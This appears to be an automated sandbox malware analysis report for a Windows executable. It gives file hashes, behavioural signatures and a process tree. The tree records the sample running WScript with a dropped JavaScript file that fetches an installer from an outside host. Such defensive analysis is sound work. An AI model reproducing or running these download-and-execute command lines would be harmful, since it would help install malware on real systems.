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Analysis
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max time kernel
133s -
max time network
123s -
platform
windows10-2004_x64 -
resource
win10v2004-20240419-en -
resource tags
arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system -
submitted
05/05/2024, 13:12
Static task
static1
Behavioral task
behavioral1
Sample
17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe
Resource
win10v2004-20240419-en
General
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Target
17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe
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Size
184KB
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MD5
17d5ceebf106e989b0b4cabcdb9123dc
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SHA1
95f7aabc5cbc6541160dcec0268dd89b3bf37099
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SHA256
1d21f633b5beec96b5a777690fbbb3e4f1e2f766a9282dcce967c1100e654ccc
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SHA512
f6cbaa4c343922aafb9499c2f58c5f399a8cfaa7d8e3a3dab96bdd3b3a0ddcb5a7c9512c1d731097a48fbbbd3fecf5a9b00e244875b90c356f95ec9dd6fb5271
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO35m:/7BSH8zUB+nGESaaRvoB7FJNndnam
Malware Config
Signatures
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Blocklisted process makes network request 5 IoCs
flow pid Process 5 4504 WScript.exe 35 2932 WScript.exe 37 1400 WScript.exe 52 2956 WScript.exe 55 4828 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000\Control Panel\International\Geo\Nation 17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000_Classes\Local Settings 17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 4756 wrote to memory of 4504 4756 17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe 84 PID 4756 wrote to memory of 4504 4756 17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe 84 PID 4756 wrote to memory of 4504 4756 17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe 84 PID 4756 wrote to memory of 2932 4756 17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe 97 PID 4756 wrote to memory of 2932 4756 17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe 97 PID 4756 wrote to memory of 2932 4756 17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe 97 PID 4756 wrote to memory of 1400 4756 17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe 98 PID 4756 wrote to memory of 1400 4756 17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe 98 PID 4756 wrote to memory of 1400 4756 17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe 98 PID 4756 wrote to memory of 2956 4756 17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe 101 PID 4756 wrote to memory of 2956 4756 17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe 101 PID 4756 wrote to memory of 2956 4756 17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe 101 PID 4756 wrote to memory of 4828 4756 17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe 102 PID 4756 wrote to memory of 4828 4756 17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe 102 PID 4756 wrote to memory of 4828 4756 17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe 102
Processes
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C:\Users\Admin\AppData\Local\Temp\17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\17d5ceebf106e989b0b4cabcdb9123dc_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4756 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41AC.js" http://www.djapp.info/?domain=aGyLfxGFiD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf41AC.exe2⤵
- Blocklisted process makes network request
PID:4504
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41AC.js" http://www.djapp.info/?domain=aGyLfxGFiD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf41AC.exe2⤵
- Blocklisted process makes network request
PID:2932
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41AC.js" http://www.djapp.info/?domain=aGyLfxGFiD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf41AC.exe2⤵
- Blocklisted process makes network request
PID:1400
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41AC.js" http://www.djapp.info/?domain=aGyLfxGFiD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf41AC.exe2⤵
- Blocklisted process makes network request
PID:2956
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41AC.js" http://www.djapp.info/?domain=aGyLfxGFiD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf41AC.exe2⤵
- Blocklisted process makes network request
PID:4828
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76